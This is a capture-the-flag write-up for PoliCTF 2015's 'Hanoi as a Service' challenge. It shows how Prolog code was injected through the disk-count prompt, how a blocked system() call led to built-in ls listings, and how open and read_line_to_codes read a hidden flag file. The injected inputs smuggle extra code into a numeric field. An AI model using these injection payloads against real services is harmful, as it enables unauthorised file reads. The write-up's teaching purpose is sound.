PoliCTF 2015 - Hanoi as a Service (50pts) writeup

The challenge description was: Check out our shiny new HaaS platform! nc haas.polictf.it 80

Let's connect to the service and see what is going on:

mrt:~/ctf/polictf/pwnable/hanoi_as_a_service$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1
* Move top disk from a to b

mrt:~/ctf/polictf/pwnable/hanoi_as_a_service$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
4
* Move top disk from a to c
* Move top disk from a to b
* Move top disk from c to b
* Move top disk from a to c
* Move top disk from b to a
* Move top disk from b to c
* Move top disk from a to c
* Move top disk from a to b
* Move top disk from c to b
* Move top disk from c to a
* Move top disk from b to a
* Move top disk from c to b
* Move top disk from a to c
* Move top disk from a to b
* Move top disk from c to b

mrt:~/ctf/polictf/pwnable/hanoi_as_a_service$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
-1
ERROR: Prolog initialisation failed:
ERROR: Out of local stack

mrt:~/ctf/polictf/pwnable/hanoi_as_a_service$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
'
ERROR: Prolog initialisation failed:
ERROR: Syntax error: End of file in quoted string
ERROR: hanoi('
)
ERROR: ** here **
ERROR:

Making the service output an error gave us some precious information about it, this is a Prolog program running. Since I was not familiar with this language I found this online manual: https://www.swi-prolog.org/pldoc/man?section=builtin

From the look of the last error message it seems we could try and inject our own code:

mrt:~/ctf/polictf/pwnable/hanoi_as_a_service$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1), help(help
* Move top disk from a to b
help
Equivalent to help(help/1).

help(+What)
Show specified part of the manual. What is one of:
...

We sucessfully ran help so we know it's possible to inject our own code. After testing various functions we noticed that system, shell, exec and other similar functions helping us running commands directly are blacklisted:

mrt:~/ctf/polictf/pwnable/hanoi_as_a_service$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1), system('ls'
Nice try...

So we are stuck with Prolog builtin methods to navigate and see if we can find a flag, after looking further in the manual we could find that there is already a builtin command to list files and folders in Prolog called.. you guessed it: ls

mrt:~/ctf/polictf/pwnable/hanoi_as_a_service$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1), ls, write(1
* Move top disk from a to b
bin/ initrd.img mnt/ run/ usr/
boot/ lib/ netdumps/ sbin/ var/
dev/ lib64/ opt/ srv/ vmlinuz
etc/ lost+found/ proc/ sys/
home/ media/ root/ tmp/
1

mrt:~/ctf/polictf/pwnable/hanoi_as_a_service$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1), ls('/home'), write(1
* Move top disk from a to b
ctf/ ubuntu/
1

mrt:~/ctf/polictf/pwnable/hanoi_as_a_service$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1), ls('/home/ctf'), write(1
* Move top disk from a to b
haas/
1

mrt:~/ctf/polictf/pwnable/hanoi_as_a_service$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1), ls('/home/ctf/haas'), write(1
* Move top disk from a to b
haas haas-proxy.py jhknsjdfhef_flag_here
1

We found where our flag is located. Now we just need to combine a couple functions to read it. When you want to read files from Prolog, and this is as far as my understanding goes with my limited knowledge over this language, you can't just use the read function because Prolog always expects the file to end with a period. However using the read_line_to_codes function allows us to read a single line without the necessity of having a period at the end.

To read our file we need open to specify the file and stream, read_to_line_codes with that stream to output to another variable, close to properly close our stream and writeln to output the data.

mrt:~/ctf/polictf$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1), open('/home/ctf/haas/jhknsjdfhef_flag_here', read, F), read_line_to_codes(F,X), close(F), writeln(X
* Move top disk from a to b
[102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125]

Converting the decimal values to ASCII revealed our flag.

We got our flag:

flag{Pr0gramm1ng_in_l0g1c_1s_c00l}